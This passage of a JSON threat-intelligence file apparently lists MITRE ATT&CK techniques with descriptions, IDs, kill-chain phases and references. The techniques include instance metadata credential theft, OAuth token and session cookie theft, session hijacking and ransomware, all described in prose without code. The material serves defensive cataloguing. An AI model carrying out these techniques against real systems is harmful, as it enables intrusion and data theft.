Relationship](https://attack.mitre.org/techniques/T1199)).",
"meta": {
"external_id": "T1591",
"kill_chain": [
"mitre-attack:reconnaissance"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1591",
"https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/",
"https://www.sec.gov/edgar/search-and-access"
]
},
"uuid": "937e4772-8441-4e4a-8bf0-8d447d667e23",
"value": "Gather Victim Org Information - T1591"
},
{
"description": "Adversaries may enumerate objects in cloud storage infrastructure. Adversaries may use this information during automated discovery to shape follow-on behaviors, including requesting all or specific objects from cloud storage. Similar to [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) on a local host, after identifying available storage services (i.e. [Cloud Infrastructure Discovery](https://attack.mitre.org/techniques/T1580)) adversaries may access the contents/objects stored in cloud infrastructure.\n\nCloud service providers offer APIs allowing users to enumerate objects stored within cloud storage. Examples include ListObjectsV2 in AWS (Citation: ListObjectsV2) and List Blobs in Azure(Citation: List Blobs) .",
"meta": {
"external_id": "T1619",
"kill_chain": [
"mitre-attack:discovery"
],
"mitre_data_sources": [
"Cloud Storage: Cloud Storage Access",
"Cloud Storage: Cloud Storage Enumeration"
],
"mitre_platforms": [
"IaaS"
],
"refs": [
"https://attack.mitre.org/techniques/T1619",
"https://docs.aws.amazon.com/AmazonS3/latest/API/API_ListObjectsV2.html",
"https://docs.microsoft.com/en-us/rest/api/storageservices/list-blobs"
]
},
"uuid": "8565825b-21c8-4518-b75e-cbc4c717a156",
"value": "Cloud Storage Object Discovery - T1619"
},
{
"description": "On Android, details of onboard network interfaces are accessible to apps through the `java.net.NetworkInterface` class.(Citation: NetworkInterface) The Android `TelephonyManager` class can be used to gather related information such as the IMSI, IMEI, and phone number.(Citation: TelephonyManager)\n\nOn iOS, gathering network configuration information is not possible without root access.",
"meta": {
"external_id": "T1422",
"kill_chain": [
"mitre-mobile-attack:discovery"
],
"mitre_platforms": [
"Android",
"iOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1422",
"https://developer.android.com/reference/android/telephony/TelephonyManager.html",
"https://developer.android.com/reference/java/net/NetworkInterface.html"
]
},
"uuid": "d4536441-1bcc-49fa-80ae-a596ed3f7ffd",
"value": "System Network Configuration Discovery - T1422"
},
{
"description": "Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.\n\nMost cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance.(Citation: AWS Instance Metadata API)\n\nIf adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. Additionally, attackers may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows the attacker to gain access to the sensitive information via a request to the Instance Metadata API.(Citation: RedLock Instance Metadata API 2018)\n\nThe de facto standard across cloud service providers is to host the Instance Metadata API at http[:]//169.254.169.254.\n",
"meta": {
"external_id": "T1522",
"refs": [
"https://attack.mitre.org/techniques/T1522",
"https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html",
"https://redlock.io/blog/instance-metadata-api-a-modern-day-trojan-horse"
]
},
"related": [
{
"dest-uuid": "19bf235b-8620-4997-b5b4-94e0659ed7c3",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "1c2fd73a-e634-44ed-b1b5-9e7cf7404e9f",
"value": "Cloud Instance Metadata API - T1522"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1233).\n\nAnalysts identify gap areas that generate a compelling need to generate a Key Intelligence Topic (KIT) or Key Intelligence Question (KIQ). (Citation: BrighthubGapAnalysis) (Citation: ICD115) (Citation: JP2-01)",
"meta": {
"external_id": "T1233",
"kill_chain": [
"mitre-pre-attack:priority-definition-planning"
],
"refs": [
"https://attack.mitre.org/techniques/T1233"
]
},
"uuid": "0fad2267-9f46-4ebb-91b5-d543243732cb",
"value": "Identify analyst level gaps - T1233"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1234).\n\nAnalysts may receive Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) from leadership or key decision makers and generate intelligence requirements to articulate intricacies of information required on a topic or question. (Citation: Herring1999)",
"meta": {
"external_id": "T1234",
"kill_chain": [
"mitre-pre-attack:priority-definition-planning"
],
"refs": [
"https://attack.mitre.org/techniques/T1234"
]
},
"uuid": "e754fa49-2db1-416b-92db-7f886decd099",
"value": "Generate analyst intelligence requirements - T1234"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1263).\n\nSecurity defensive capabilities are designed to stop or limit unauthorized network traffic or other types of accesses. (Citation: OSFingerprinting2014) (Citation: NMAP WAF NSE)",
"meta": {
"external_id": "T1263",
"kill_chain": [
"mitre-pre-attack:technical-information-gathering"
],
"refs": [
"https://attack.mitre.org/techniques/T1263"
]
},
"uuid": "04e93ca1-8415-4a46-8549-73b7c84f8dc3",
"value": "Identify security defensive capabilities - T1263"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1327).\n\nA technique used by the adversary similar to Dynamic DNS with the exception that the use of multiple DNS infrastructures likely have whois records. (Citation: KrebsStLouisFed)",
"meta": {
"external_id": "T1327",
"kill_chain": [
"mitre-pre-attack:establish-&-maintain-infrastructure"
],
"refs": [
"https://attack.mitre.org/techniques/T1327"
]
},
"uuid": "616238cb-990b-4c71-8f50-d8b10ed8ce6b",
"value": "Use multiple DNS infrastructures - T1327"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1293).\n\nAn adversary can probe a victim's network to determine configurations. The configurations may provide opportunities to route traffic through the network in an undetected or less detectable way. (Citation: Li2014ExploitKits) (Citation: RecurlyGHOST)",
"meta": {
"external_id": "T1293",
"kill_chain": [
"mitre-pre-attack:technical-weakness-identification"
],
"refs": [
"https://attack.mitre.org/techniques/T1293"
]
},
"uuid": "fe421ab9-c8f3-42f7-9ae1-5d6c324cc925",
"value": "Analyze application security posture - T1293"
},
{
"description": "As demonstrated by the XcodeGhost attack (Citation: PaloAlto-XcodeGhost1), app developers could be provided with modified versions of software development tools (e.g. compilers) that automatically inject malicious or exploitable code into applications.\n\nDetection: Enterprises could deploy integrity checking software to the computers that they use to develop code to detect presence of unauthorized, modified software development tools.\n\nPlatforms: Android, iOS",
"meta": {
"external_id": "T1462",
"refs": [
"https://attack.mitre.org/techniques/T1462"
]
},
"related": [
{
"dest-uuid": "0d95940f-9583-4e0f-824c-a42c1be47fad",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "b928b94a-4966-4e2a-9e61-36505b896ebc",
"value": "Malicious Software Development Tools - T1462"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1264).\n\nTechnology usage patterns include identifying if users work offsite, connect remotely, or other possibly less restricted/secured access techniques. (Citation: SANSRemoteAccess)",
"meta": {
"external_id": "T1264",
"kill_chain": [
"mitre-pre-attack:technical-information-gathering"
],
"refs": [
"https://attack.mitre.org/techniques/T1264"
]
},
"uuid": "194bff4f-c218-40df-bea3-1ace715de8dd",
"value": "Identify technology usage patterns - T1264"
},
{
"description": "An adversary could seek to generate fraudulent advertising revenue from mobile devices, for example by triggering automatic clicks of advertising links without user involvement.",
"meta": {
"external_id": "T1472",
"kill_chain": [
"mitre-mobile-attack:impact"
],
"mitre_platforms": [
"Android",
"iOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1472"
]
},
"related": [],
"uuid": "f981d199-2720-467e-9dc9-eea04dbe05cf",
"value": "Generate Fraudulent Advertising Revenue - T1472"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1274).\n\nAn adversary may identify sensitive personnel information not typically posted on a social media site, such as address, marital status, financial history, and law enforcement infractions. This could be conducted by searching public records that are frequently available for free or at a low cost online. (Citation: RSA-APTRecon)",
"meta": {
"external_id": "T1274",
"kill_chain": [
"mitre-pre-attack:people-information-gathering"
],
"refs": [
"https://attack.mitre.org/techniques/T1274"
]
},
"uuid": "7dae871c-effc-444b-9962-4b7efefe7d40",
"value": "Identify sensitive personnel information - T1274"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1256).\n\nAn adversary can attempt to identify web defensive services as [CloudFlare](https://www.cloudflare.com), [IPBan](https://github.com/jjxtra/Windows-IP-Ban-Service), and [Snort](https://www.snort.org). This may be done by passively detecting services, like [CloudFlare](https://www.cloudflare.com) routing, or actively, such as by purposefully tripping security defenses. (Citation: NMAP WAF NSE)",
"meta": {
"external_id": "T1256",
"kill_chain": [
"mitre-pre-attack:technical-information-gathering"
],
"refs": [
"https://attack.mitre.org/techniques/T1256"
]
},
"uuid": "288b3cc3-f4da-4250-ab8c-d8b5dbed94ca",
"value": "Identify web defensive services - T1256"
},
{
"description": "Adversaries can steal user application access tokens as a means of acquiring credentials to access remote systems and resources. This can occur through social engineering and typically requires user action to grant access.\n\nApplication access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. An application desiring access to cloud-based services or protected APIs can gain entry using OAuth 2.0 through a variety of authorization protocols. An example commonly-used sequence is Microsoft's Authorization Code Grant flow.(Citation: Microsoft Identity Platform Protocols May 2019)(Citation: Microsoft - OAuth Code Authorization flow - June 2019) An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested by the application without obtaining user credentials. \n \nAdversaries can leverage OAuth authorization by constructing a malicious application designed to be granted access to resources with the target user's OAuth token. The adversary will need to complete registration of their application with the authorization server, for example Microsoft Identity Platform using Azure Portal, the Visual Studio IDE, the command-line interface, PowerShell, or REST API calls.(Citation: Microsoft - Azure AD App Registration - May 2019) Then, they can send a link through [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) to the target user to entice them to grant access to the application. Once the OAuth access token is granted, the application can gain potentially long-term access to features of the user account through [Application Access Token](https://attack.mitre.org/techniques/T1550/001).(Citation: Microsoft - Azure AD Identity Tokens - Aug 2019)\n\nAdversaries have been seen targeting Gmail, Microsoft Outlook, and Yahoo Mail users.(Citation: Amnesty OAuth Phishing Attacks, August 2019)(Citation: Trend Micro Pawn Storm OAuth 2017)",
"meta": {
"external_id": "T1528",
"kill_chain": [
"mitre-attack:credential-access"
],
"mitre_data_sources": [
"User Account: User Account Modification"
],
"mitre_platforms": [
"SaaS",
"Office 365",
"Azure AD",
"Google Workspace"
],
"refs": [
"https://attack.mitre.org/techniques/T1528",
"https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/",
"https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks",
"https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens",
"https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-v2-protocols",
"https://docs.microsoft.com/en-us/azure/active-directory/develop/quickstart-register-app",
"https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-auth-code-flow",
"https://www.amnesty.org/en/latest/research/2019/08/evolving-phishing-attacks-targeting-journalists-and-human-rights-defenders-from-the-middle-east-and-north-africa/"
]
},
"uuid": "890c9858-598c-401d-a4d5-c67ebcdd703a",
"value": "Steal Application Access Token - T1528"
},
{
"description": "Adversaries may gather information about the victim's hosts that can be used during targeting. Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.).\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).",
"meta": {
"external_id": "T1592",
"kill_chain": [
"mitre-attack:reconnaissance"
],
"mitre_data_sources": [
"Internet Scan: Response Content"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1592",
"https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks",
"https://threatconnect.com/blog/infrastructure-research-hunting/"
]
},
"uuid": "09312b1a-c3c6-4b45-9844-3ccc78e5d82f",
"value": "Gather Victim Host Information - T1592"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1269).\n\nThe attempt to identify people of interest or with an inherent weakness for direct or indirect targeting to determine an approach to compromise a person or organization. Such targets may include individuals with poor OPSEC practices or those who have a trusted relationship with the intended target. (Citation: RSA-APTRecon) (Citation: Scasny2015)",
"meta": {
"external_id": "T1269",
"kill_chain": [
"mitre-pre-attack:people-information-gathering"
],
"refs": [
"https://attack.mitre.org/techniques/T1269"
]
},
"uuid": "0c0f075b-5d69-43f2-90df-d9ad18f44624",
"value": "Identify people of interest - T1269"
},
{
"description": "Sensitive data can be collected from local system sources, such as the file system or databases of information residing on the system.\n\nLocal system data includes information stored by the operating system. Access to local system data often requires escalated privileges (e.g. root access). Examples of local system data include authentication tokens, the device keyboard cache, Wi-Fi passwords, and photos.",
"meta": {
"external_id": "T1533",
"kill_chain": [
"mitre-mobile-attack:collection"
],
"mitre_platforms": [
"Android",
"iOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1533"
]
},
"uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a",
"value": "Data from Local System - T1533"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1353).\n\nAfter compromise, an adversary may utilize additional tools to facilitate their end goals. This may include tools to further explore the system, move laterally within a network, exfiltrate data, or destroy data. (Citation: SofacyHits)",
"meta": {
"external_id": "T1353",
"kill_chain": [
"mitre-pre-attack:build-capabilities"
],
"refs": [
"https://attack.mitre.org/techniques/T1353"
]
},
"uuid": "df42286d-dfbd-4455-bc9d-aef52ac29aa7",
"value": "Post compromise tool development - T1353"
},
{
"description": "Adversaries may communicate using a common, standardized application layer protocol such as HTTP, HTTPS, SMTP, or DNS to avoid detection by blending in with existing traffic.\n\nIn the mobile environment, the Google Cloud Messaging (GCM; two-way) and Apple Push Notification Service (APNS; one-way server-to-device) are commonly used protocols on Android and iOS respectively that would blend in with routine device traffic and are difficult for enterprises to inspect. Google reportedly responds to reports of abuse by blocking access to GCM.(Citation: Kaspersky-MobileMalware)",
"meta": {
"external_id": "APP-29",
"kill_chain": [
"mitre-mobile-attack:command-and-control",
"mitre-mobile-attack:exfiltration"
],
"mitre_platforms": [
"Android",
"iOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1437",
"https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-29.html",
"https://securelist.com/mobile-malware-evolution-2013/58335/"
]
},
"uuid": "6a3f6490-9c44-40de-b059-e5940f246673",
"value": "Standard Application Layer Protocol - T1437"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1349).\n\nAn exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. The adversary may use or modify existing exploits when those exploits are still relevant to the environment they are trying to compromise. (Citation: NYTStuxnet) (Citation: NationsBuying)",
"meta": {
"external_id": "T1349",
"kill_chain": [
"mitre-pre-attack:build-capabilities"
],
"refs": [
"https://attack.mitre.org/techniques/T1349",
"https://www.nytimes.com/2011/01/16/world/middleeast/16stuxnet.html",
"https://www.nytimes.com/2013/07/14/world/europe/nations-buying-as-hackers-sell-computer-flaws.html"
]
},
"uuid": "4886e3c2-468b-4e26-b7e5-2031d995d13a",
"value": "Build or acquire exploits - T1349"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1355).\n\nUse of removable media as part of the Launch phase requires an adversary to determine type, format, and content of the media and associated malware. (Citation: BadUSB)",
"meta": {
"external_id": "T1355",
"kill_chain": [
"mitre-pre-attack:build-capabilities"
],
"refs": [
"https://attack.mitre.org/techniques/T1355"
]
},
"uuid": "eacadff4-164b-451c-bacc-7b29ebfd0c3f",
"value": "Create infected removable media - T1355"
},
{
"description": "Adversaries may take control of preexisting sessions with remote services to move laterally in an environment. Users may use valid credentials to log into a service specifically designed to accept remote connections, such as telnet, SSH, and RDP. When a user logs into a service, a session will be established that will allow them to maintain a continuous interaction with that service.\n\nAdversaries may commandeer these sessions to carry out actions on remote systems. [Remote Service Session Hijacking](https://attack.mitre.org/techniques/T1563) differs from use of [Remote Services](https://attack.mitre.org/techniques/T1021) because it hijacks an existing session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: RDP Hijacking Medium)(Citation: Breach Post-mortem SSH Hijack)",
"meta": {
"external_id": "T1563",
"kill_chain": [
"mitre-attack:lateral-movement"
],
"mitre_data_sources": [
"Command: Command Execution",
"Logon Session: Logon Session Creation",
"Network Traffic: Network Traffic Content",
"Network Traffic: Network Traffic Flow",
"Process: Process Creation"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1563",
"https://matrix.org/blog/2019/05/08/post-mortem-and-remediations-for-apr-11-security-incident",
"https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6"
]
},
"uuid": "5b0ad6f8-6a16-4966-a4ef-d09ea6e2a9f5",
"value": "Remote Service Session Hijacking - T1563"
},
{
"description": "An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website.\n\nCookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.(Citation: Pass The Cookie)\n\nThere are several examples of malware targeting cookies from web browsers on the local system.(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 Mac Crypto Cookies January 2019) There are also open source frameworks such as Evilginx 2 and Muraena that can gather session cookies through a malicious proxy (ex: [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)) that can be set up by an adversary and used in phishing campaigns.(Citation: Github evilginx2)(Citation: GitHub Mauraena)\n\nAfter an adversary acquires a valid cookie, they can then perform a [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004) technique to login to the corresponding web application.",
"meta": {
"external_id": "T1539",
"kill_chain": [
"mitre-attack:credential-access"
],
"mitre_data_sources": [
"File: File Access",
"Process: Process Access"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows",
"Office 365",
"SaaS",
"Google Workspace"
],
"refs": [
"https://attack.mitre.org/techniques/T1539",
"https://github.com/kgretzky/evilginx2",
"https://github.com/muraenateam/muraena",
"https://securelist.com/project-tajmahal/90240/",
"https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/",
"https://wunderwuzzi23.github.io/blog/passthecookie.html"
]
},
"uuid": "10ffac09-e42d-4f56-ab20-db94c67d76ff",
"value": "Steal Web Session Cookie - T1539"
},
{
"description": "**This technique has been deprecated. Please use [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003).**\n\nSending messages through social media platforms to individuals identified as a target. These messages may include malicious attachments or links to malicious sites or they may be designed to establish communications for future actions. (Citation: APT1) (Citation: Nemucod Facebook)",
"meta": {
"external_id": "T1366",
"kill_chain": [
"mitre-pre-attack:launch"
],
"refs": [
"https://attack.mitre.org/techniques/T1366"
]
},
"uuid": "eb517589-eefc-480e-b8e3-7a8b1066f6f1",
"value": "Targeted social media phishing - T1366"
},
{
"description": "If an adversary can escalate privileges, he or she may be able to use those privileges to place malicious code in the device's Trusted Execution Environment (TEE) or other similar isolated execution environment where the code can evade detection, may persist after device resets, and may not be removable by the device user. Running code within the TEE may provide an adversary with the ability to monitor or tamper with overall device behavior.(Citation: Roth-Rootkits)",
"meta": {
"external_id": "APP-27",
"kill_chain": [
"mitre-mobile-attack:defense-evasion",
"mitre-mobile-attack:persistence"
],
"mitre_platforms": [
"Android"
],
"refs": [
"https://attack.mitre.org/techniques/T1399",
"https://hackinparis.com/data/slides/2013/Slidesthomasroth.pdf",
"https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html",
"https://www.apple.com/business/docs/iOS_Security_Guide.pdf"
]
},
"uuid": "f1c3d071-0c24-483d-aca0-e8b8496ce468",
"value": "Modify Trusted Execution Environment - T1399"
},
{
"description": "An adversary could distribute developed malware by masquerading the malware as a legitimate application. This can be done in two different ways: by embedding the malware in a legitimate application, or by pretending to be a legitimate application.\n\nEmbedding the malware in a legitimate application is done by downloading the application, disassembling it, adding the malicious code, and then re-assembling it.(Citation: Zhou) The app would appear to be the original app, but would contain additional malicious functionality. The adversary could then publish the malicious application to app stores or use another delivery method.\n\nPretending to be a legitimate application relies heavily on lack of scrutinization by the user. Typically, a malicious app pretending to be a legitimate one will have many similar details as the legitimate one, such as name, icon, and description.(Citation: Palo Alto HenBox)\n\nMalicious applications may also masquerade as legitimate applications when requesting access to the accessibility service in order to appear as legitimate to the user, increasing the likelihood that the access will be granted.",
"meta": {
"external_id": "APP-14",
"kill_chain": [
"mitre-mobile-attack:initial-access",
"mitre-mobile-attack:defense-evasion"
],
"mitre_platforms": [
"Android",
"iOS"
],
"refs": [
"http://ieeexplore.ieee.org/document/6234407",
"https://attack.mitre.org/techniques/T1444",
"https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-14.html",
"https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-31.html",
"https://unit42.paloaltonetworks.com/unit42-henbox-chickens-come-home-roost/"
]
},
"uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f",
"value": "Masquerade as Legitimate Application - T1444"
},
{
"description": "Adversaries may modify client software binaries to establish persistent access to systems. Client software enables users to access services provided by a server. Common client software types are SSH clients, FTP clients, email clients, and web browsers.\n\nAdversaries may make modifications to client software binaries to carry out malicious tasks when those applications are in use. For example, an adversary may copy source code for the client software, add a backdoor, compile for the target, and replace the legitimate application binary (or support files) with the backdoored one. Since these applications may be routinely executed by the user, the adversary can leverage this for persistent access to the host.",
"meta": {
"external_id": "T1554",
"kill_chain": [
"mitre-attack:persistence"
],
"mitre_data_sources": [
"File: File Creation",
"File: File Deletion",
"File: File Metadata",
"File: File Modification"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1554"
]
},
"uuid": "960c3c86-1480-4d72-b4e0-8c242e84a5c5",
"value": "Compromise Client Software Binary - T1554"
},
{
"description": "Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.",
"meta": {
"external_id": "T1548",
"kill_chain": [
"mitre-attack:privilege-escalation",
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Metadata",
"File: File Modification",
"Process: OS API Execution",
"Process: Process Creation",
"Process: Process Metadata",
"Windows Registry: Windows Registry Key Modification"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1548"
]
},
"uuid": "67720091-eee3-4d2d-ae16-8264567f6f5b",
"value": "Abuse Elevation Control Mechanism - T1548"
},
{
"description": "An adversary could cause the mobile device to use less secure protocols, for example by jamming frequencies used by newer protocols such as LTE and only allowing older protocols such as GSM to communicate(Citation: NIST-SP800187). Use of less secure protocols may make communication easier to eavesdrop upon or manipulate.",
"meta": {
"external_id": "CEL-3",
"kill_chain": [
"mitre-mobile-attack:network-effects"
],
"mitre_platforms": [
"Android",
"iOS"
],
"refs": [
"http://csrc.nist.gov/publications/drafts/800-187/sp800_187_draft.pdf",
"https://attack.mitre.org/techniques/T1466",
"https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-3.html"
]
},
"related": [],
"uuid": "f58cd69a-e548-478b-9248-8a9af881dc34",
"value": "Downgrade to Insecure Protocols - T1466"
},
{
"description": "An adversary could set up a rogue cellular base station and then use it to eavesdrop on or manipulate cellular device communication. A compromised cellular femtocell could be used to carry out this technique(Citation: Computerworld-Femtocell).",
"meta": {
"external_id": "CEL-7",
"kill_chain": [
"mitre-mobile-attack:network-effects"
],
"mitre_platforms": [
"Android",
"iOS"
],
"refs": [
"http://www.computerworld.com/article/2484538/cybercrime-hacking/researchers-exploit-cellular-tech-flaws-to-intercept-phone-calls.html",
"https://attack.mitre.org/techniques/T1467",
"https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-7.html"
]
},
"related": [],
"uuid": "a5de0540-73e7-4c67-96da-4143afedc7ed",
"value": "Rogue Cellular Base Station - T1467"
},
{
"description": "Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.(Citation: US-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018) In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted. In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.(Citation: US-CERT NotPetya 2017)\n\nTo maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)\n\nIn cloud environments, storage objects within compromised accounts may also be encrypted.(Citation: Rhino S3 Ransomware Part 1)",
"meta": {
"external_id": "T1486",
"kill_chain": [
"mitre-attack:impact"
],
"mitre_data_sources": [
"Cloud Storage: Cloud Storage Metadata",
"Cloud Storage: Cloud Storage Modification",
"Command: Command Execution",
"File: File Creation",
"File: File Modification",
"Process: Process Creation"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows",
"IaaS"
],
"refs": [
"https://attack.mitre.org/techniques/T1486",
"https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/",
"https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html",
"https://www.us-cert.gov/ncas/alerts/AA18-337A",
"https://www.us-cert.gov/ncas/alerts/TA16-091A",
"https://www.us-cert.gov/ncas/alerts/TA17-181A"
]
},
"uuid": "b80d107d-fa0d-4b60-9684-b0433e8bdba0",
"value": "Data Encrypted for Impact - T1486"
},
{
